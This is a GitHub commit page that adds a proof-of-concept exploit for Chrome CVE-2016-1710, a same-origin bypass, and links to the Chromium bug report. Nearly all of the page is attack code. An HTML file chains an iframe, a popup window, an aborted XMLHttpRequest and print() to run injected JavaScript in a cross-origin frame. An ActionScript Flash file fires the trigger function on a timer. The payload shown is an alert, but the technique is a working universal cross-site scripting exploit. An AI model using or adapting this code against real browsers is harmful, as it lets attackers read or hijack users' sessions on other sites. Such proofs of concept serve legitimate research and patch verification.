Skip to content

Commit f5808cc

Browse files
committed
feat(chrome): add CVE-2016-1710
1 parent f22cc08 commit f5808cc

File tree

3 files changed

+65
-0
lines changed

3 files changed

+65
-0
lines changed

chrome/CVE-2016-1710/exploit.html

+55
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,55 @@
1+
<div style="position:fixed;top:0;left:0;height:100%;width:100%;"></div>
2+
<p></p>
3+
<script>
4+
// https://bugs.chromium.org/p/chromium/issues/detail?id=616907
5+
6+
if (location.protocol == 'file:' || !navigator.plugins.namedItem('Shockwave Flash')) {
7+
throw alert('HTTP server and Flash are required.');
8+
}
9+
10+
var i;
11+
var cached = 0;
12+
var spin = 0;
13+
function f() {
14+
if (cached) {
15+
cached = 0;
16+
document.querySelector('p').innerHTML = '<b>Click anywhere to start.</b>';
17+
onclick = go;
18+
}
19+
20+
if (spin) {
21+
spin = 0;
22+
var w = window.open('');
23+
i.src = 'https://abc.xyz';
24+
w.document.documentElement.appendChild(i);
25+
}
26+
27+
if (i) {
28+
try { i.contentDocument; } catch (e) {
29+
var a = document.createElement('a');
30+
a.href = 'about:blank';
31+
a.click();
32+
}
33+
}
34+
}
35+
36+
function go() {
37+
onclick = null;
38+
i = document.createElement('iframe');
39+
i.src = 'about:blank#';
40+
document.documentElement.appendChild(i);
41+
var a = i.contentDocument.createElement('a');
42+
a.href = 'data:text/html,';
43+
a.click();
44+
var x = new i.contentWindow.XMLHttpRequest;
45+
x.onabort = function () {
46+
spin = 1;
47+
print();
48+
}
49+
x.open('get', location.href, true);
50+
x.send();
51+
i.src = 'javascript:alert(location)';
52+
}
53+
</script>
54+
<object data="s.swf"></object>
55+
<iframe src="https://abc.xyz" onload="cached=1"></iframe>

chrome/CVE-2016-1710/s.as

+10
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,10 @@
1+
package {
2+
import flash.display.*;
3+
import flash.external.*;
4+
import flash.utils.*;
5+
public class s extends Sprite {
6+
public function s():void {
7+
setInterval(ExternalInterface.call, 1, 'f');
8+
}
9+
}
10+
}

chrome/CVE-2016-1710/s.swf

616 Bytes
Binary file not shown.

0 commit comments

Comments
 (0)